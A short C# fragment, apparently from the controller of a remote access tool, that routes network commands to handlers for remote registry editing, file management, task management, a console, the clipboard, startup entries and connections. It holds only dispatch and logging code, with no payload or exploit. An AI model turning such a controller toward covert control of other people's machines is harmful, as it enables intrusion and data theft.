public void OnClientDisconnect(IClient client) { PingHandler.Disconnect(client); RegistryEditorHandler.Disconnect(client); FileExplorerHandler.Disconnect(client); TaskManagerHandler.Disconnect(client); ConsoleHandler.Disconnect(client); ClipboardHandler.Disconnect(client); StartupManagerhandler.Disconnect(client); ConnectionsHandler.Disconnect(client); }
public void OnDataRetrieved(IClient client, object[] data) { NetworkCommand command = (NetworkCommand)data[0]; MUIHost.Log(string.Format("Network Command: {0}", data[0]), System.Drawing.Color.Blue); if (data.Length > 1) { MUIHost.Log(string.Format("SubCommand Command: {0}", data[1]), System.Drawing.Color.Blue); } if (command == NetworkCommand.Pong) { PingHandler.EndPing(client); } if (command == NetworkCommand.RegistryEdit) { RegistryEditorHandler.Handle(client, data); } if (command == NetworkCommand.FileManager) { FileExplorerHandler.Handle(client, data); } if (command == NetworkCommand.TaskManager) { TaskManagerHandler.Handle(client, data); } if (command == NetworkCommand.Console) { ConsoleHandler.Handle(client, data); } if (command == NetworkCommand.Clipboard) { ClipboardHandler.Handle(client, data); } if (command == NetworkCommand.StartupManager) { StartupManagerhandler.Handle(client, data); } if (command == NetworkCommand.Connections) { ConnectionsHandler.Handle(client, data); } }